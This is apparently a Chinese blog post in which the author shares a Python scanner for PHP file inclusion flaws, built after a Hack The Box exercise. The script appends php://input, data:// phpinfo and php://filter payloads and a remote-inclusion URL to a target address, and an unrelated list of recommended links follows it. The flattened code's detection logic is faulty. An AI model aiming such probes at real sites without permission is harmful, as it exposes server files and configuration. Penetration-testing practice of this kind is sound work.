0x00前言:

做Hack the box的题。感觉那个平台得开个VIp

不然得凉。一天只能重置一次。。。mmp

做的那题毒药是文件包含漏洞的题,涉及到了某个工具

看的不错就开发了一个。

0x01代码:

import requests
import threading
import os
import time
import sys cookies={}
urls=input('Please enter the target:')
user=input('Enter the file you want to read:')
user2=input('Enter your cookie:')
for lie in user2.split(';'):
key,value=lie.split('=',1)
cookies[key]=value
payload='php://input'
payload2='data:text/plain,<?php phpinfo();?>%00'
payload2s='data:text/plain,<?php phpinfo();?>'
payload3='php://filter/read=convert.base64-encode/resource={}'.format(user)
error=['','Not Found','Warning','不存在','找不到','防火墙','安全狗','云锁'] def exploitone(user):
headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
url=user
pocone=url+payload
poctwo=url+payload2
pocsan=url+payload3
pocsi=url+payload2s
request=requests.get(url=pocone,headers=headers,cookies=cookies)
request2=requests.get(url=poctwo,headers=headers,cookies=cookies)
request3=requests.get(url=pocsan,headers=headers,cookies=cookies)
request4=requests.get(url=pocsi,headers=headers,cookies=cookies)
ok=[]
for e in error:
if request.status_code==200:
if e in str(request.text):
print('[-]Php://input protocol does not support')
else:
ok.append('[+]Support php://input protocol Poc:{}'.format(request.url)) if request2.status_code==200:
if e in str(request2.text):
print('[-]Data:// protocol that does not support%00 truncation')
else:
ok.append('[+]Data:// protocol that supports%00 truncation Poc2:{}'.format(request2.url)) if request3.status_code==200:
if e in str(request3.text):
print('[-]Do not support the use of php://filter/read=convert.base64-encode/resource=')
else:
ok.append('[+]Support php://filter/read=convert.base64-encode/resource= Poc3:{}'.format(request3.url)) if request4.status_code==200:
if e in str(request4.text):
print('[-]Data:// protocol does not support')
else:
ok.append('[+]Support with data:// protocol Poc4:{}'.format(request4.url)) if len(ok)>0:
v=list(set(ok))
for vv in v:
print(vv) exploitone(urls.rstrip()) def exploittwo():
poc='http://www.baidu.com'
url=urls.rstrip()+poc
headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
request2=requests.get(url=url,headers=headers,cookies=cookies)
yuan=[]
for e in error:
if request2.status_code==200:
if e in str(request2.text):
print('[-]Remote inclusion failure')
else:
yuan.append('[+]Allow remote inclusion poc:{}'.format(request2.url))
if len(yuan)>0:
s=list(set(yuan))
for b in s:
print(b)
exploittwo()

测试:

思路:

先检测各种协议,然后测试远程包含漏洞

原本还有一个检测路径的,但是跑起来太慢。

python打造文件包含漏洞检测工具的更多相关文章

  1. 文件包含漏洞检测工具fimap

    文件包含漏洞检测工具fimap   在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务 ...

  2. URL重定向漏洞,python打造URL重定向漏洞检测脚本

    前言: 今天学习了重定向漏洞,这个漏洞比较好理解 漏洞名:URL重定向漏洞 威胁:低 漏洞的来源:开发者对head头做好对应的过滤和限制 例子: 有漏洞的网站:http://a.com/x.php?u ...

  3. PHP代码审计笔记--文件包含漏洞

    有限制的本地文件包含: <?php include($_GET['file'].".php"); ?> %00截断: ?file=C://Windows//win.in ...

  4. Metasploit是一款开源的安全漏洞检测工具,

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...

  5. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  6. PHP文件包含漏洞小结

    参考链接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 四大漏洞函数 PHP文件包含漏洞主要由于四个函数引起的: include() include_ ...

  7. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  8. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  9. 基于Python3的漏洞检测工具 ( Python3 插件式框架 )

    目录 Python3 漏洞检测工具 -- lance screenshot requirements 关键代码 usage documents Any advice or sugggestions P ...

随机推荐

  1. 【安全测试】Web应用安全之XSS跨站脚本攻击漏洞

    前言 以前都只是在各类文档中见到过XSS,也进行过相关的学习,但是都是一知半解,过了一段时间就忘了. 前几天我们收到了了一份标题为<XX账号昵称参数中存在存储XSS漏洞>的报告文档,来源是 ...

  2. [eclipse]eclipse设置条件断点Breakpoint Properties

    1.在你要想停下的行上添加断点,在断点标记上单击右键,然后打开断点属性(Breakpoint Properties) 2.在断点属性(Breakpoint Properties)编辑对话框中勾选ena ...

  3. css括号风格

    1.nested 2.expanded 3.compact 压缩但是不去掉空格和注释 4.compressed 压缩并且去掉空格和注释,并且有的压缩变量名也会改变.

  4. Java Spring-注解进行属性注入

    2017-11-06 21:19:43 一.Spring的注解装配BeanSpring2.5 引入使用注解去定义Bean @Component 描述Spring框架中Bean Spring的框架中提供 ...

  5. <<网络是怎样连接的>>笔记第5章 防火墙,缓存服务器

    第5章 服务器防火墙,缓存服务器 部署地点 防火墙结构和原理 通过将请求平均分配给多台服务器来平衡负载 利用缓存服务器分担负载(客户端也可以部署缓存服务器, 缓存服务器用法很多) 内容分发服务(从缓存 ...

  6. VGG16提取图像特征 (torch7)

    VGG16提取图像特征 (torch7) VGG16 loadcaffe torch7 下载pretrained model,保存到当前目录下 th> caffemodel_url = 'htt ...

  7. jstree 取消选中父节点

    问题说明: 当选择子节点时,它的父节点只有一个子节点的情况下,默认会选中父节点. 当前应用场景: 不需要选中当前的父节点 实验截图: 修改部分: jstree.js 信息

  8. 苹果iPhone 5C和5S发布后,消费者如何选择?

    9月11日凌晨苹果新品发布会,笔者的朋友圈居然没有看直播的,真果粉太少了.笔者来阐述一些容易忽略的东西. iPhone5C和5S与5有什么不一样? 新品iPhone 5S 外观与iPhone5 相似度 ...

  9. 使用POI导出Excel(二)-利用模板

    一.基本操作见: 使用POI导出Excel 二.本次功能需求 给了一个模板,里面有6个sheet页,每页里面都需要填充相应的数据.如图: 三.需求分析 1.分了6个sheet页,每页的数据都不一样,首 ...

  10. SocketServer模块 《Python核心编程(第3版)》——2.5

    本文内容参考文章地址: https://m.aliyun.com/yunqi/articles/93088/ SocketServer模块 SocketServer是标准库中的一个高级模块(Pytho ...